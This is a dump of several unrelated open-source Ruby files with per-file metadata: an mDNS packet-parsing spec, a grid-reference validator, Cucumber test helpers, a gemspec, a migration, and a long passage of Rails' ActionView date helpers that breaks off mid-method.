hexsha
stringlengths
40
40
size
int64
2
1.01M
content
stringlengths
2
1.01M
avg_line_length
float64
1.5
100
max_line_length
int64
2
1k
alphanum_fraction
float64
0.25
1
39ff9326503a254d7d879c7e3c379e6960aec06e
4,081
require_relative '../spec_helper' module PacketGen module Header describe MDNS do let(:mdns_raw_packets) { read_raw_packets('mdns.pcapng') } describe 'binding' do it 'in UDP packets' do expect(UDP).to know_header(MDNS).with(sport: 5353) expect(UDP).to know_header(MDNS).with(dport: 5353) end it 'accepts to be added in UDP packets' do pkt = PacketGen.gen('UDP') expect { pkt.add('MDNS') }.to_not raise_error expect(pkt.udp.dport).to eq(5353) end end context 'sections' do let(:dns) { MDNS.new } it 'may add a Question to question section' do q = DNS::Question.new(dns, name: 'www.example.org') expect { dns.qd << q }.to change { dns.qdcount }.by(1) expected_str = "\x00" * 5 + "\x01" + "\x00" * 6 + generate_label_str(%w(www example org)) + "\x00\x01\x00\x01" expect(dns.to_s).to eq(binary expected_str) end it 'may add a RR to answer section' do an = DNS::RR.new(dns, name: 'www.example.org', type: 'AAAA', ttl: 3600, rdata: IPAddr.new('2000::1').hton) expect { dns.an << an }.to change { dns.ancount }.by(1) expected_str = "\x00" * 7 + "\x01" + "\x00" * 4 + generate_label_str(%w(www example org)) + "\x00\x1c\x00\x01\x00\x00\x0e\x10\x00\x10\x20" + "\x00" * 14 + "\x01" expect(dns.to_s).to eq(binary expected_str) end end describe '#read' do it 'reads a mDNS question header' do pkt = Packet.parse(mdns_raw_packets[0]) expect(pkt.is? 'MDNS').to be(true) mdns = pkt.mdns expect(mdns.qr?).to be(false) expect(mdns.qdcount).to eq(2) expect(mdns.ancount).to eq(0) expect(mdns.nscount).to eq(2) expect(mdns.arcount).to eq(0) expect(mdns.qd[0].to_human).to eq('* IN QU Host-002.local.') expect(mdns.qd[1].to_human).to eq('* IN QU Officejet 6500 E710n-z [B25D97]._pdl-datastream._tcp.local.') expect(mdns.ns[0].to_human).to eq('A IN Host-002.local. TTL 120 192.168.0.96') expect(mdns.ns[1].to_human).to eq('SRV IN Officejet 6500 E710n-z [B25D97]._pdl-datastream._tcp.local. TTL 120 0 0 9100 Host-002.local.') end it 'reads a mDNS question header' do pkt = Packet.parse(mdns_raw_packets[1]) expect(pkt.is? 'MDNS').to be(true) mdns = pkt.mdns expect(mdns.qr?).to be(true) expect(mdns.qdcount).to eq(0) expect(mdns.ancount).to eq(5) expect(mdns.nscount).to eq(0) expect(mdns.arcount).to eq(0) expect(mdns.an[0].to_human).to eq('A IN CACHE-FLUSH Host-002.local. TTL 120 192.168.0.96') expect(mdns.an[1].to_human).to eq('PTR IN CACHE-FLUSH 96.0.168.192.in-addr.arpa. TTL 120 Host-002.local.') expect(mdns.an[2].to_human).to eq('SRV IN CACHE-FLUSH Officejet 6500 E710n-z [B25D97]._pdl-datastream._tcp.local. TTL 120 0 0 9100 Host-002.local.') end end describe '#mdnsize' do context '(IPv4)' do let(:pkt) { Packet.gen('Eth').add('IP').add('UDP').add('MDNS') } it 'sets Ethernet destination address' do pkt.mdnsize expect(pkt.eth.dst).to eq('01:00:5e:00:00:fb') end it 'sets IP destination address' do pkt.mdnsize expect(pkt.ip.dst).to eq('224.0.0.251') end end context '(IPv6)' do let(:pkt) { Packet.gen('Eth').add('IPv6').add('UDP').add('MDNS') } it 'sets Ethernet destination address' do pkt.mdnsize expect(pkt.eth.dst).to eq('33:33:00:00:00:fb') end it 'sets IPv6 destination address' do pkt.mdnsize expect(pkt.ipv6.dst).to eq('ff02::fb') end end end end end end
36.765766
158
0.54619
ac13f3bcdd61085d3fe7455f23d3300da33fe18e
1,278
# Validate that a grid reference can be processed. module FloodRiskEngine class GridReferenceValidator < ActiveModel::EachValidator require "os_map_ref" attr_reader :message, :allow_blank, :value def initialize(options) @message = options[:message] @allow_blank = options[:allow_blank] super options end def validate_each(record, attribute, value) @value = value return true if allow_blank && value.blank? return true unless os_map_ref_detects_error? || invalid_pattern? record.errors.add attribute, message end private def os_map_ref_detects_error? OsMapRef::Location.for(value).easting false rescue OsMapRef::Error => e @message ||= e.message end # Note that OsMapRef will work with less stringent coordinates than are # specified for this application - so need to add an additional check. def invalid_pattern? /\A#{grid_reference_pattern}\z/ !~ value.strip end def grid_reference_pattern [ two_letters, optional_space, five_digits, optional_space, five_digits ].join end def two_letters "[A-Za-z]{2}" end def five_digits '\d{5}' end def optional_space '\s*' end end end
23.666667
77
0.668232
1aaa6c34e8b3a17f45fb18b0edaef51f48d56ddb
3,683
# frozen_string_literal: true module Helpers def default_test_author @default_test_author ||= User.find_by_email(default_test_user_details[:email]) @default_test_author = create(:user, default_test_user_details) if @default_test_author.nil? @default_test_author end def test_ip_address '127.0.0.1' end def test_user_password '12345678' end def default_test_user_details { first_name: 'Tester', last_name: 'Person', email: '[email protected]', last_sign_in_ip: test_ip_address, password: test_user_password, password_confirmation: test_user_password, display_profile: true, latitude: 59.33, longitude: 18.06, country_name: 'Stockholm', bio: 'Full time Tester', skill_list: 'Test' } end def create_visitor(receive_mailings: false) @visitor ||= { first_name: 'Anders', last_name: 'Persson', email: '[email protected]', password: 'changemesomeday', password_confirmation: 'changemesomeday', slug: 'slug-ma', country_name: 'Sweden', admin: false, receive_mailings: receive_mailings } end def create_user(opts = {}) @user ||= create(:user, create_visitor.merge(opts)) @current_user = @user end def create_privileged_visitor(receive_mailings: false) @visitor ||= { first_name: 'Admin', last_name: 'Privilege', email: '[email protected]', password: 'changemesomeday', password_confirmation: 'changemesomeday', slug: 'slug-admin', country_name: 'UK', admin: true, receive_mailings: receive_mailings } end def create_privileged_user @user ||= create(:user, create_privileged_visitor) @current_user = @user end def delete_user @user&.destroy @user = nil @current_user = nil end def sign_up delete_user visit new_user_registration_path within('#main') do fill_in 'user_email', with: @visitor[:email] fill_in 'user_password', with: @visitor[:password] fill_in 'user_password_confirmation', with: @visitor[:password_confirmation] find(:css, '#user_receive_mailings').set(@visitor[:receive_mailings]) click_button 'Sign up' end end def sign_in visit new_user_session_path unless current_path == new_user_session_path within('#main') do fill_in 'user_email', with: @visitor[:email] fill_in 'user_password', with: @visitor[:password] click_button 'Sign in' end end def all_users @all_users = User.all end end module WithinHelpers def with_scope(locator, &block) locator ? within(*selector_for(locator), &block) : yield end def has_link_or_button?(page, name) page.has_link?(name) || page.has_button?(name) end end module WaitForAjax def wait_for_ajax Timeout.timeout(Capybara.default_max_wait_time) do loop until finished_all_ajax_requests? end end def finished_all_ajax_requests? page.evaluate_script('jQuery.active').zero? end end World(Helpers) World(WithinHelpers) World(WaitForAjax) class Capybara::Result def second self[1] end end module Capybara class Session def has_link_or_button?(name) has_link?(name) || has_button?(name) end end end class String def underscore gsub(/::/, '/') .gsub(/([A-Z]+)([A-Z][a-z])/, '\1_\2') .gsub(/([a-z\d])([A-Z])/, '\1_\2') .tr('- ', '_') .downcase end end
24.553333
96
0.632908
2131243f94bd29dd7071e114b569ddc76af7c0a8
513
# encoding: utf-8 # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::Storage::Mgmt::V2018_11_01 module Models # # Defines values for SkuName # module SkuName StandardLRS = "Standard_LRS" StandardGRS = "Standard_GRS" StandardRAGRS = "Standard_RAGRS" StandardZRS = "Standard_ZRS" PremiumLRS = "Premium_LRS" PremiumZRS = "Premium_ZRS" end end end
24.428571
70
0.688109
e2c065dba9df883263d3e49cc8f9cb2e906bc5db
888
Gem::Specification.new do |s| s.name = "gtm" s.version = "0.0.1" s.default_executable = "gtm" s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version= s.authors = ["Luis Ibanez"] s.date = %q{2013-03-02} s.description = %q{Driver for the GT.M database} s.email = %q{[email protected]} s.files = ["Rakefile", "lib/gtm.so"] s.test_files = ["test/gtm001.rb","test/gtm002.rb","test/gtm003.rb","test/gtm004.rb","test/gtm005.rb","test/gtm006.rb",] s.homepage = %q{https://github.com/OSEHRA-Sandbox/gtm-bindings} s.require_paths = ["lib"] s.rubygems_version = %q{1.6.2} s.summary = %q{GT.M Database!} if s.respond_to? :specification_version then s.specification_version = 3 if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then else end else end end
31.714286
121
0.646396
61d28ec0799b91b29c8e761ec82e568d907d5ad8
882
#Solution Below first_name = "Todd" last_name = "Seller" age = 45 # RSpec Tests. They are included in this file because the local variables you are creating are not accessible across files. If we try to run these files as a separate file per normal operation, the local variable checks will return nil. describe 'first_name' do it "is defined as a local variable" do expect(defined?(first_name)).to eq 'local-variable' end it "is a String" do expect(first_name).to be_a String end end describe 'last_name' do it "is defined as a local variable" do expect(defined?(last_name)).to eq 'local-variable' end it "be a String" do expect(last_name).to be_a String end end describe 'age' do it "is defined as a local variable" do expect(defined?(age)).to eq 'local-variable' end it "is an integer" do expect(age).to be_a Fixnum end end
23.837838
236
0.716553
f86dc53ceabe1aeebc91c7776856db6796e19899
154
class CreateVotes < ActiveRecord::Migration def change create_table :votes do |t| t.integer :value t.belongs_to :post end end end
17.111111
43
0.668831
e880995232bbec4036fd6e99bf0afec1bcb89aac
61,454
# frozen_string_literal: true require "date" require "action_view/helpers/tag_helper" require "active_support/core_ext/array/extract_options" require "active_support/core_ext/date/conversions" require "active_support/core_ext/hash/slice" require "active_support/core_ext/object/acts_like" require "active_support/core_ext/object/with_options" module ActionView module Helpers #:nodoc: # = Action View Date Helpers # # The Date Helper primarily creates select/option tags for different kinds of dates and times or date and time # elements. All of the select-type methods share a number of common options that are as follows: # # * <tt>:prefix</tt> - overwrites the default prefix of "date" used for the select names. So specifying "birthday" # would give \birthday[month] instead of \date[month] if passed to the <tt>select_month</tt> method. # * <tt>:include_blank</tt> - set to true if it should be possible to set an empty date. # * <tt>:discard_type</tt> - set to true if you want to discard the type part of the select name. If set to true, # the <tt>select_month</tt> method would use simply "date" (which can be overwritten using <tt>:prefix</tt>) instead # of \date[month]. module DateHelper MINUTES_IN_YEAR = 525600 MINUTES_IN_QUARTER_YEAR = 131400 MINUTES_IN_THREE_QUARTERS_YEAR = 394200 # Reports the approximate distance in time between two Time, Date or DateTime objects or integers as seconds. # Pass <tt>include_seconds: true</tt> if you want more detailed approximations when distance < 1 min, 29 secs. # Distances are reported based on the following table: # # 0 <-> 29 secs # => less than a minute # 30 secs <-> 1 min, 29 secs # => 1 minute # 1 min, 30 secs <-> 44 mins, 29 secs # => [2..44] minutes # 44 mins, 30 secs <-> 89 mins, 29 secs # => about 1 hour # 89 mins, 30 secs <-> 23 hrs, 59 mins, 29 secs # => about [2..24] hours # 23 hrs, 59 mins, 30 secs <-> 41 hrs, 59 mins, 29 secs # => 1 day # 41 hrs, 59 mins, 30 secs <-> 29 days, 23 hrs, 59 mins, 29 secs # => [2..29] days # 29 days, 23 hrs, 59 mins, 30 secs <-> 44 days, 23 hrs, 59 mins, 29 secs # => about 1 month # 44 days, 23 hrs, 59 mins, 30 secs <-> 59 days, 23 hrs, 59 mins, 29 secs # => about 2 months # 59 days, 23 hrs, 59 mins, 30 secs <-> 1 yr minus 1 sec # => [2..12] months # 1 yr <-> 1 yr, 3 months # => about 1 year # 1 yr, 3 months <-> 1 yr, 9 months # => over 1 year # 1 yr, 9 months <-> 2 yr minus 1 sec # => almost 2 years # 2 yrs <-> max time or date # => (same rules as 1 yr) # # With <tt>include_seconds: true</tt> and the difference < 1 minute 29 seconds: # 0-4 secs # => less than 5 seconds # 5-9 secs # => less than 10 seconds # 10-19 secs # => less than 20 seconds # 20-39 secs # => half a minute # 40-59 secs # => less than a minute # 60-89 secs # => 1 minute # # from_time = Time.now # distance_of_time_in_words(from_time, from_time + 50.minutes) # => about 1 hour # distance_of_time_in_words(from_time, 50.minutes.from_now) # => about 1 hour # distance_of_time_in_words(from_time, from_time + 15.seconds) # => less than a minute # distance_of_time_in_words(from_time, from_time + 15.seconds, include_seconds: true) # => less than 20 seconds # distance_of_time_in_words(from_time, 3.years.from_now) # => about 3 years # distance_of_time_in_words(from_time, from_time + 60.hours) # => 3 days # distance_of_time_in_words(from_time, from_time + 45.seconds, include_seconds: true) # => less than a minute # distance_of_time_in_words(from_time, from_time - 45.seconds, include_seconds: true) # => less than a minute # distance_of_time_in_words(from_time, 76.seconds.from_now) # => 1 minute # distance_of_time_in_words(from_time, from_time + 1.year + 3.days) # => about 1 year # distance_of_time_in_words(from_time, from_time + 3.years + 6.months) # => over 3 years # distance_of_time_in_words(from_time, from_time + 4.years + 9.days + 30.minutes + 5.seconds) # => about 4 years # # to_time = Time.now + 6.years + 19.days # distance_of_time_in_words(from_time, to_time, include_seconds: true) # => about 6 years # distance_of_time_in_words(to_time, from_time, include_seconds: true) # => about 6 years # distance_of_time_in_words(Time.now, Time.now) # => less than a minute # # With the <tt>scope</tt> option, you can define a custom scope for Rails # to look up the translation. # # For example you can define the following in your locale (e.g. en.yml). # # datetime: # distance_in_words: # short: # about_x_hours: # one: 'an hour' # other: '%{count} hours' # # See https://github.com/svenfuchs/rails-i18n/blob/master/rails/locale/en.yml # for more examples. # # Which will then result in the following: # # from_time = Time.now # distance_of_time_in_words(from_time, from_time + 50.minutes, scope: 'datetime.distance_in_words.short') # => "an hour" # distance_of_time_in_words(from_time, from_time + 3.hours, scope: 'datetime.distance_in_words.short') # => "3 hours" def distance_of_time_in_words(from_time, to_time = 0, options = {}) options = { scope: :'datetime.distance_in_words' }.merge!(options) from_time = normalize_distance_of_time_argument_to_time(from_time) to_time = normalize_distance_of_time_argument_to_time(to_time) from_time, to_time = to_time, from_time if from_time > to_time distance_in_minutes = ((to_time - from_time) / 60.0).round distance_in_seconds = (to_time - from_time).round I18n.with_options locale: options[:locale], scope: options[:scope] do |locale| case distance_in_minutes when 0..1 return distance_in_minutes == 0 ? locale.t(:less_than_x_minutes, count: 1) : locale.t(:x_minutes, count: distance_in_minutes) unless options[:include_seconds] case distance_in_seconds when 0..4 then locale.t :less_than_x_seconds, count: 5 when 5..9 then locale.t :less_than_x_seconds, count: 10 when 10..19 then locale.t :less_than_x_seconds, count: 20 when 20..39 then locale.t :half_a_minute when 40..59 then locale.t :less_than_x_minutes, count: 1 else locale.t :x_minutes, count: 1 end when 2...45 then locale.t :x_minutes, count: distance_in_minutes when 45...90 then locale.t :about_x_hours, count: 1 # 90 mins up to 24 hours when 90...1440 then locale.t :about_x_hours, count: (distance_in_minutes.to_f / 60.0).round # 24 hours up to 42 hours when 1440...2520 then locale.t :x_days, count: 1 # 42 hours up to 30 days when 2520...43200 then locale.t :x_days, count: (distance_in_minutes.to_f / 1440.0).round # 30 days up to 60 days when 43200...86400 then locale.t :about_x_months, count: (distance_in_minutes.to_f / 43200.0).round # 60 days up to 365 days when 86400...525600 then locale.t :x_months, count: (distance_in_minutes.to_f / 43200.0).round else from_year = from_time.year from_year += 1 if from_time.month >= 3 to_year = to_time.year to_year -= 1 if to_time.month < 3 leap_years = (from_year > to_year) ? 0 : (from_year..to_year).count { |x| Date.leap?(x) } minute_offset_for_leap_year = leap_years * 1440 # Discount the leap year days when calculating year distance. # e.g. if there are 20 leap year days between 2 dates having the same day # and month then the based on 365 days calculation # the distance in years will come out to over 80 years when in written # English it would read better as about 80 years. minutes_with_offset = distance_in_minutes - minute_offset_for_leap_year remainder = (minutes_with_offset % MINUTES_IN_YEAR) distance_in_years = (minutes_with_offset.div MINUTES_IN_YEAR) if remainder < MINUTES_IN_QUARTER_YEAR locale.t(:about_x_years, count: distance_in_years) elsif remainder < MINUTES_IN_THREE_QUARTERS_YEAR locale.t(:over_x_years, count: distance_in_years) else locale.t(:almost_x_years, count: distance_in_years + 1) end end end end # Like <tt>distance_of_time_in_words</tt>, but where <tt>to_time</tt> is fixed to <tt>Time.now</tt>. # # time_ago_in_words(3.minutes.from_now) # => 3 minutes # time_ago_in_words(3.minutes.ago) # => 3 minutes # time_ago_in_words(Time.now - 15.hours) # => about 15 hours # time_ago_in_words(Time.now) # => less than a minute # time_ago_in_words(Time.now, include_seconds: true) # => less than 5 seconds # # from_time = Time.now - 3.days - 14.minutes - 25.seconds # time_ago_in_words(from_time) # => 3 days # # from_time = (3.days + 14.minutes + 25.seconds).ago # time_ago_in_words(from_time) # => 3 days # # Note that you cannot pass a <tt>Numeric</tt> value to <tt>time_ago_in_words</tt>. # def time_ago_in_words(from_time, options = {}) distance_of_time_in_words(from_time, Time.now, options) end alias_method :distance_of_time_in_words_to_now, :time_ago_in_words # Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based # attribute (identified by +method+) on an object assigned to the template (identified by +object+). # # ==== Options # * <tt>:use_month_numbers</tt> - Set to true if you want to use month numbers rather than month names (e.g. # "2" instead of "February"). # * <tt>:use_two_digit_numbers</tt> - Set to true if you want to display two digit month and day numbers (e.g. # "02" instead of "February" and "08" instead of "8"). # * <tt>:use_short_month</tt> - Set to true if you want to use abbreviated month names instead of full # month names (e.g. "Feb" instead of "February"). # * <tt>:add_month_numbers</tt> - Set to true if you want to use both month numbers and month names (e.g. # "2 - February" instead of "February"). # * <tt>:use_month_names</tt> - Set to an array with 12 month names if you want to customize month names. # Note: You can also use Rails' i18n functionality for this. # * <tt>:month_format_string</tt> - Set to a format string. The string gets passed keys +:number+ (integer) # and +:name+ (string). A format string would be something like "%{name} (%<number>02d)" for example. # See <tt>Kernel.sprintf</tt> for documentation on format sequences. # * <tt>:date_separator</tt> - Specifies a string to separate the date fields. Default is "" (i.e. nothing). # * <tt>:time_separator</tt> - Specifies a string to separate the time fields. Default is " : ". # * <tt>:datetime_separator</tt>- Specifies a string to separate the date and time fields. Default is " &mdash; ". # * <tt>:start_year</tt> - Set the start year for the year select. Default is <tt>Date.today.year - 5</tt> if # you are creating new record. While editing existing record, <tt>:start_year</tt> defaults to # the current selected year minus 5. # * <tt>:end_year</tt> - Set the end year for the year select. Default is <tt>Date.today.year + 5</tt> if # you are creating new record. While editing existing record, <tt>:end_year</tt> defaults to # the current selected year plus 5. # * <tt>:year_format</tt> - Set format of years for year select. Lambda should be passed. # * <tt>:discard_day</tt> - Set to true if you don't want to show a day select. This includes the day # as a hidden field instead of showing a select field. Also note that this implicitly sets the day to be the # first of the given month in order to not create invalid dates like 31 February. # * <tt>:discard_month</tt> - Set to true if you don't want to show a month select. This includes the month # as a hidden field instead of showing a select field. Also note that this implicitly sets :discard_day to true. # * <tt>:discard_year</tt> - Set to true if you don't want to show a year select. This includes the year # as a hidden field instead of showing a select field. # * <tt>:order</tt> - Set to an array containing <tt>:day</tt>, <tt>:month</tt> and <tt>:year</tt> to # customize the order in which the select fields are shown. If you leave out any of the symbols, the respective # select will not be shown (like when you set <tt>discard_xxx: true</tt>. Defaults to the order defined in # the respective locale (e.g. [:year, :month, :day] in the en locale that ships with Rails). # * <tt>:include_blank</tt> - Include a blank option in every select field so it's possible to set empty # dates. # * <tt>:default</tt> - Set a default date if the affected date isn't set or is +nil+. # * <tt>:selected</tt> - Set a date that overrides the actual value. # * <tt>:disabled</tt> - Set to true if you want show the select fields as disabled. # * <tt>:prompt</tt> - Set to true (for a generic prompt), a prompt string or a hash of prompt strings # for <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>, <tt>:minute</tt> and <tt>:second</tt>. # Setting this option prepends a select option with a generic prompt (Day, Month, Year, Hour, Minute, Seconds) # or the given prompt string. # * <tt>:with_css_classes</tt> - Set to true or a hash of strings. Use true if you want to assign generic styles for # select tags. This automatically set classes 'year', 'month', 'day', 'hour', 'minute' and 'second'. A hash of # strings for <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>, <tt>:minute</tt>, <tt>:second</tt> # will extend the select type with the given value. Use +html_options+ to modify every select tag in the set. # * <tt>:use_hidden</tt> - Set to true if you only want to generate hidden input tags. # # If anything is passed in the +html_options+ hash it will be applied to every select tag in the set. # # NOTE: Discarded selects will default to 1. So if no month select is available, January will be assumed. # # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute. # date_select("article", "written_on") # # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute, # # with the year in the year drop down box starting at 1995. # date_select("article", "written_on", start_year: 1995) # # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute, # # with the year in the year drop down box starting at 1995, numbers used for months instead of words, # # and without a day select box. # date_select("article", "written_on", start_year: 1995, use_month_numbers: true, # discard_day: true, include_blank: true) # # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute, # # with two digit numbers used for months and days. # date_select("article", "written_on", use_two_digit_numbers: true) # # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute # # with the fields ordered as day, month, year rather than month, day, year. # date_select("article", "written_on", order: [:day, :month, :year]) # # # Generates a date select that when POSTed is stored in the user variable, in the birthday attribute # # lacking a year field. # date_select("user", "birthday", order: [:month, :day]) # # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute # # which is initially set to the date 3 days from the current date # date_select("article", "written_on", default: 3.days.from_now) # # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute # # which is set in the form with today's date, regardless of the value in the Active Record object. # date_select("article", "written_on", selected: Date.today) # # # Generates a date select that when POSTed is stored in the credit_card variable, in the bill_due attribute # # that will have a default day of 20. # date_select("credit_card", "bill_due", default: { day: 20 }) # # # Generates a date select with custom prompts. # date_select("article", "written_on", prompt: { day: 'Select day', month: 'Select month', year: 'Select year' }) # # # Generates a date select with custom year format. # date_select("article", "written_on", year_format: ->(year) { "Heisei #{year - 1988}" }) # # The selects are prepared for multi-parameter assignment to an Active Record object. # # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that # all month choices are valid. def date_select(object_name, method, options = {}, html_options = {}) Tags::DateSelect.new(object_name, method, self, options, html_options).render end # Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a # specified time-based attribute (identified by +method+) on an object assigned to the template (identified by # +object+). You can include the seconds with <tt>:include_seconds</tt>. You can get hours in the AM/PM format # with <tt>:ampm</tt> option. # # This method will also generate 3 input hidden tags, for the actual year, month and day unless the option # <tt>:ignore_date</tt> is set to +true+. If you set the <tt>:ignore_date</tt> to +true+, you must have a # +date_select+ on the same method within the form otherwise an exception will be raised. # # If anything is passed in the html_options hash it will be applied to every select tag in the set. # # # Creates a time select tag that, when POSTed, will be stored in the article variable in the sunrise attribute. # time_select("article", "sunrise") # # # Creates a time select tag with a seconds field that, when POSTed, will be stored in the article variables in # # the sunrise attribute. # time_select("article", "start_time", include_seconds: true) # # # You can set the <tt>:minute_step</tt> to 15 which will give you: 00, 15, 30, and 45. # time_select 'game', 'game_time', { minute_step: 15 } # # # Creates a time select tag with a custom prompt. Use <tt>prompt: true</tt> for generic prompts. # time_select("article", "written_on", prompt: { hour: 'Choose hour', minute: 'Choose minute', second: 'Choose seconds' }) # time_select("article", "written_on", prompt: { hour: true }) # generic prompt for hours # time_select("article", "written_on", prompt: true) # generic prompts for all # # # You can set :ampm option to true which will show the hours as: 12 PM, 01 AM .. 11 PM. # time_select 'game', 'game_time', { ampm: true } # # The selects are prepared for multi-parameter assignment to an Active Record object. # # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that # all month choices are valid. def time_select(object_name, method, options = {}, html_options = {}) Tags::TimeSelect.new(object_name, method, self, options, html_options).render end # Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a # specified datetime-based attribute (identified by +method+) on an object assigned to the template (identified # by +object+). # # If anything is passed in the html_options hash it will be applied to every select tag in the set. # # # Generates a datetime select that, when POSTed, will be stored in the article variable in the written_on # # attribute. # datetime_select("article", "written_on") # # # Generates a datetime select with a year select that starts at 1995 that, when POSTed, will be stored in the # # article variable in the written_on attribute. # datetime_select("article", "written_on", start_year: 1995) # # # Generates a datetime select with a default value of 3 days from the current time that, when POSTed, will # # be stored in the trip variable in the departing attribute. # datetime_select("trip", "departing", default: 3.days.from_now) # # # Generate a datetime select with hours in the AM/PM format # datetime_select("article", "written_on", ampm: true) # # # Generates a datetime select that discards the type that, when POSTed, will be stored in the article variable # # as the written_on attribute. # datetime_select("article", "written_on", discard_type: true) # # # Generates a datetime select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts. # datetime_select("article", "written_on", prompt: { day: 'Choose day', month: 'Choose month', year: 'Choose year' }) # datetime_select("article", "written_on", prompt: { hour: true }) # generic prompt for hours # datetime_select("article", "written_on", prompt: true) # generic prompts for all # # The selects are prepared for multi-parameter assignment to an Active Record object. def datetime_select(object_name, method, options = {}, html_options = {}) Tags::DatetimeSelect.new(object_name, method, self, options, html_options).render end # Returns a set of HTML select-tags (one for year, month, day, hour, minute, and second) pre-selected with the # +datetime+. It's also possible to explicitly set the order of the tags using the <tt>:order</tt> option with # an array of symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order. If you do not # supply a Symbol, it will be appended onto the <tt>:order</tt> passed in. You can also add # <tt>:date_separator</tt>, <tt>:datetime_separator</tt> and <tt>:time_separator</tt> keys to the +options+ to # control visual display of the elements. # # If anything is passed in the html_options hash it will be applied to every select tag in the set. # # my_date_time = Time.now + 4.days # # # Generates a datetime select that defaults to the datetime in my_date_time (four days after today). # select_datetime(my_date_time) # # # Generates a datetime select that defaults to today (no specified datetime) # select_datetime() # # # Generates a datetime select that defaults to the datetime in my_date_time (four days after today) # # with the fields ordered year, month, day rather than month, day, year. # select_datetime(my_date_time, order: [:year, :month, :day]) # # # Generates a datetime select that defaults to the datetime in my_date_time (four days after today) # # with a '/' between each date field. # select_datetime(my_date_time, date_separator: '/') # # # Generates a datetime select that defaults to the datetime in my_date_time (four days after today) # # with a date fields separated by '/', time fields separated by '' and the date and time fields # # separated by a comma (','). # select_datetime(my_date_time, date_separator: '/', time_separator: '', datetime_separator: ',') # # # Generates a datetime select that discards the type of the field and defaults to the datetime in # # my_date_time (four days after today) # select_datetime(my_date_time, discard_type: true) # # # Generate a datetime field with hours in the AM/PM format # select_datetime(my_date_time, ampm: true) # # # Generates a datetime select that defaults to the datetime in my_date_time (four days after today) # # prefixed with 'payday' rather than 'date' # select_datetime(my_date_time, prefix: 'payday') # # # Generates a datetime select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts. # select_datetime(my_date_time, prompt: { day: 'Choose day', month: 'Choose month', year: 'Choose year' }) # select_datetime(my_date_time, prompt: { hour: true }) # generic prompt for hours # select_datetime(my_date_time, prompt: true) # generic prompts for all def select_datetime(datetime = Time.current, options = {}, html_options = {}) DateTimeSelector.new(datetime, options, html_options).select_datetime end # Returns a set of HTML select-tags (one for year, month, and day) pre-selected with the +date+. # It's possible to explicitly set the order of the tags using the <tt>:order</tt> option with an array of # symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order. # If the array passed to the <tt>:order</tt> option does not contain all the three symbols, all tags will be hidden. # # If anything is passed in the html_options hash it will be applied to every select tag in the set. # # my_date = Time.now + 6.days # # # Generates a date select that defaults to the date in my_date (six days after today). # select_date(my_date) # # # Generates a date select that defaults to today (no specified date). # select_date() # # # Generates a date select that defaults to the date in my_date (six days after today) # # with the fields ordered year, month, day rather than month, day, year. # select_date(my_date, order: [:year, :month, :day]) # # # Generates a date select that discards the type of the field and defaults to the date in # # my_date (six days after today). # select_date(my_date, discard_type: true) # # # Generates a date select that defaults to the date in my_date, # # which has fields separated by '/'. # select_date(my_date, date_separator: '/') # # # Generates a date select that defaults to the datetime in my_date (six days after today) # # prefixed with 'payday' rather than 'date'. # select_date(my_date, prefix: 'payday') # # # Generates a date select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts. # select_date(my_date, prompt: { day: 'Choose day', month: 'Choose month', year: 'Choose year' }) # select_date(my_date, prompt: { hour: true }) # generic prompt for hours # select_date(my_date, prompt: true) # generic prompts for all def select_date(date = Date.current, options = {}, html_options = {}) DateTimeSelector.new(date, options, html_options).select_date end # Returns a set of HTML select-tags (one for hour and minute). # You can set <tt>:time_separator</tt> key to format the output, and # the <tt>:include_seconds</tt> option to include an input for seconds. # # If anything is passed in the html_options hash it will be applied to every select tag in the set. # # my_time = Time.now + 5.days + 7.hours + 3.minutes + 14.seconds # # # Generates a time select that defaults to the time in my_time. # select_time(my_time) # # # Generates a time select that defaults to the current time (no specified time). # select_time() # # # Generates a time select that defaults to the time in my_time, # # which has fields separated by ':'. # select_time(my_time, time_separator: ':') # # # Generates a time select that defaults to the time in my_time, # # that also includes an input for seconds. # select_time(my_time, include_seconds: true) # # # Generates a time select that defaults to the time in my_time, that has fields # # separated by ':' and includes an input for seconds. # select_time(my_time, time_separator: ':', include_seconds: true) # # # Generate a time select field with hours in the AM/PM format # select_time(my_time, ampm: true) # # # Generates a time select field with hours that range from 2 to 14 # select_time(my_time, start_hour: 2, end_hour: 14) # # # Generates a time select with a custom prompt. Use <tt>:prompt</tt> to true for generic prompts. # select_time(my_time, prompt: { day: 'Choose day', month: 'Choose month', year: 'Choose year' }) # select_time(my_time, prompt: { hour: true }) # generic prompt for hours # select_time(my_time, prompt: true) # generic prompts for all def select_time(datetime = Time.current, options = {}, html_options = {}) DateTimeSelector.new(datetime, options, html_options).select_time end # Returns a select tag with options for each of the seconds 0 through 59 with the current second selected. # The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer. # Override the field name using the <tt>:field_name</tt> option, 'second' by default. # # my_time = Time.now + 16.seconds # # # Generates a select field for seconds that defaults to the seconds for the time in my_time. # select_second(my_time) # # # Generates a select field for seconds that defaults to the number given. # select_second(33) # # # Generates a select field for seconds that defaults to the seconds for the time in my_time # # that is named 'interval' rather than 'second'. # select_second(my_time, field_name: 'interval') # # # Generates a select field for seconds with a custom prompt. Use <tt>prompt: true</tt> for a # # generic prompt. # select_second(14, prompt: 'Choose seconds') def select_second(datetime, options = {}, 